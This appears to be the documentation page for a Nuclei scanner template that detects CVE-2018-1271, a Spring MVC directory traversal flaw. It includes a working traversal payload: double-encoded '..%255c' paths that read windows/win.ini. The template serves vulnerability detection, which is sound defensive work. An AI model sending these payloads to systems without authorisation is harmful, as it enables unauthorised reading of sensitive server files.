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Spring MVC Framework - Local File Inclusion

ID: CVE-2018-1271

Severity: medium

Author: hetroublemakr

Tags: cve,cve2018,spring,lfi,traversal,vmware

Description

Section titled “Description”

Spring MVC Framework versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported are vulnerable to local file inclusion because they allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). A malicious user can send a request using a specially crafted URL that can lead a directory traversal attack.

YAML Source

Section titled “YAML Source”
id: CVE-2018-1271


info:
  name: Spring MVC Framework - Local File Inclusion
  author: hetroublemakr
  severity: medium
  description: Spring MVC Framework versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported are vulnerable to local file inclusion because they allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). A malicious user can send a request using a specially crafted URL that can lead a directory traversal attack.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches and updates provided by the Spring MVC Framework to mitigate this vulnerability.
  reference:
    - https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
    - https://pivotal.io/security/cve-2018-1271
    - https://access.redhat.com/errata/RHSA-2018:1320
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1271
    - http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2018-1271
    cwe-id: CWE-22
    epss-score: 0.004
    epss-percentile: 0.73504
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: vmware
    product: spring_framework
  tags: cve,cve2018,spring,lfi,traversal,vmware


http:
  - method: GET
    path:
      - '{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
      - '{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'


    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'for 16-bit app support'


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c2b363674a8943bd7943fe404da534f149b1a30d909a31fd70a7d51ac9f0fabf02204d05f4049fc1f764fdd22377e3fff9acae8f25598da2a33da00885ad3f6851bf:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-1271.yaml"

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